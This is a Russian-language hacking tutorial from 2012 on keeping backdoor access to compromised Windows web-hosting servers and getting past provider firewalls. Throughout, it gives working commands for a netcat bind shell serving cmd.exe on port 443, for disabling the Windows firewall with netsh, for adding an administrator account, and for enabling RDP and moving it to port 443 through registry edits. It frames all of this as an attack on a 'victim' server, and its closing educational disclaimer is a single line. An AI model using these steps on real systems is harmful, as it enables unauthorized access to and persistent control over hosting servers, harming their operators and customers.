21.05.2012

Исследование Windows-бэкдоров – обход файрвола поставщиков веб-хостинга

image

Ключевой задачей данного документа является обсуждение бэкдоров на хостинговых Windows-серверах и обход файрволов.

   Lulzsec47   

Последнее время хакеры ищут способы оставить бэкдор на Windows-сервере, хозяином которого является какой-нибудь из лучших хостинг-провайдеров. На эту тему было сделано много исследований. Однако, ключевой задачей данного документа является обсуждение бэкдоров на хостинговых Windows-серверах и обход файрволов.

Обычно, когда мы находим уязвимость на веб-сервере для Windows, мы пытаемся загрузить на него asp/java-шелл. После загрузки мы гуляем по папкам и файлам веб-сервера, но чаще всего пытаемся оставить на нем бэкдор, чтобы мы могли соединяться с ним когда пожелаем без боли в небезызвестном месте. Для этого нам нужен доступ к командам. Для доступа к командам нам нужно создать бэкдор, при соединении с которым будет выдаваться командная оболочка. Для создания такого бэкдора существует несколько способов.

Получив asp-шелл на Windows-сервере с IIS 6/IIS 5, мы пытаемся создать на нем бэкдор, однако из-за наличия файрвола наша попытка часто терпит неудачу. Вообще, при наличии файрвола довольно сложно соединиться с сервером или осуществлять над ним удаленный контроль.

Для создания бэкдоров на Windows-серверах существует несколько способов. Сначала я покажу вам, как сделать бэкдор с помощью net cat. Загрузите netcat на удаленный компьютер и откройте для прослушивания порт, например:

  C:\>nc –l –p 8080  
      [на 192.168.9.2]   
 

Здесь мы открыли порт 8080. Далее мы соединимся с 192.168.9.2 через удаленную систему. Для этого нам нужно установить netcat на 192.168.9.2 и запустить интерпретатор команд cmd. Вот команда, которую нужно выполнить на 192.168.9.2:

  C:\>nc –l –p 8080 –e cmd.exe    

После запуска этой команды хост с IP-адресом 192.168.9.2 начинает прослушивать порт, пытаясь запустить cmd.

Предположим, что мы пытаемся соединиться с 192.168.9.2, находясь на машине с адресом 192.168.9.7 Откроем telnet на 192.168.9.7 и соединимся с 192.168.9.2 через порт 8080, выполнив вледующую команду:

  C:\>telnet 192.168.9.2 8080  

Другой вариант – использовать для соединения putty. Просто вбейте в настройки адрес 192.168.9.2 и порт 8080

Соединившись, вы получите командную оболочку и сможете установить бэкдор-соединение с данным сервером.

Получив доступ к командной оболочке вы, если нужно, можете выключить файрвол следующей командой:

  C:\>netsh firewall set opmode disable  

Или так:

C:\Windows\System32\netsh.exe "firewall set opmode = DISABLE profile = ALL"

Существует также масса других опций. Просто идите в командную строку и введите netsh help, чтобы увидеть все, что вы можете сделать с помощью netsh. Если ваш компьютер является членом домена, вы должны использовать данную команду, чтобы выключить режим домена и локальный режим:

netsh firewall set opmode mode = DISABLE profile = ALL

Теперь, если вы хотите установить удаленное соединение через RDP, но служба удаленного рабочего стола отключена, вы можете включить ее описываемым далее способом.

Если вы хотите создать нового пользователя на сервере с правами администратора, воспользуйтесь следующими командами.

  net user newuser1 newpassword /add
net localgroup administrators newuser1 /add
net user newuser1
 

Если после создания нового пользователя вы захотите осуществлять удаленное подключение к серверу жертвы, вам понадобится включить на сервере RDP.

 Для включения возможности RDP-соединений наберите в командной строке следующую команду:  

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Когда вы включите службу RDP, вы можете устанавливать удаленное подключение к серверу жертвы по протоколу RDP. Но в реальных условиях оказывается, что большинство поставщиков веб-хостинга блокируют RDP-соединения, то есть блокируют входящий трафик на порту 3389. Правила файрвола в этом случае выглядят так:

  Allow traffic on 80, 443
Deny all * exception on 80 and 443*
 

Так что, когда мы попытаемся установить RDP-соединение из внешней сети, у нас ничего не получится.

Существует несколько методов, которые позволяют обмануть файрвол путем запуска netcat на порту 443 или любом другом открытом порту сервера. Нам нужно запустить netcat на 443 порту лишь потому, что файрвол пропускает трафик на нем. Итак, нам нужно соединиться с портом 443, поскольку трафик на данном порту разрешен (например, https-трафик).

Чтобы обойти файрвол, нам нужно открыть порт 443 для прослушивания. Вот соответствующая команда:

  C:\>nc –l –p 443 –e cmd.exe  

Когда мы соединимся с жертвой на порту 443 через telnet, мы получим командную оболочку, которую файрвол не будет блокировать из-за того, что трафик идет через 443 порт.

Вывод: чтобы попытаться сделать бэкдор, мы можем использовать порты 80 и 443, где можно обойти файрвол и безопасно соединиться с сервером.

Данный снимок экрана показывает, что мы соединяемся с 192.168.9.2 на порту 443 через telnet.

После соединения с 192.168.9.2 на порту 443, мы получаем в наше распоряжение командную строку cmd.

Раз соединение было установлено, значит, мы обошли файрвол.

Когда нам нужно установить RDP-соединение, все выглядит аналогично. По умолчанию RDP запущен на порту 3389, поэтому нам нужно заставить его слушать порт 443 или любой другой, который не блокируется файрволом. Если вы хотите изменить прослушиваемый порт, отредактируйте этот ключ реестра:

\HKLM\System\CurrentControlSet\Control\Terminal Server\WinStationRDP-TCP  
 Value : PortNUmber REG_DWORD=443

Чтобы включить Терминальный сервер/RDP, запустите следующую команду:

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0

После выполнения даных действий вы сможете подключаться к удаленному компьютеру через стандартное "Подключение к удаленному рабочему столу", введя IP-адрес или доменное имя, за которыми следует двоеточие и номер порта (443 в нашем случае). Файрвол не будет блокировать RDP-соединение, установленное на 443 порту. Тем самым вы обойдете файрвол и сделаете попытку создания бэкдора.

Вывод: вы можете создать бэкдор для Windows-сервера на портах 80 и 443, на которых firewall не фильтрует трафик (поскольку разрешает http- и https-трафик). Вы также можете создавать RDP-соединение на порту 443. То есть, порт 3389 не обязательно должен быть открыт, а RDP-соединение может обходить файрвол, когда 3389 порт блокируется для внешних соединений.

Настоящий документ создан для учебных целей и на основании моих личных знаний. Не предпринимайте никаких незаконных действий в отношении хостинг-провайдеров.

comments powered by Disqus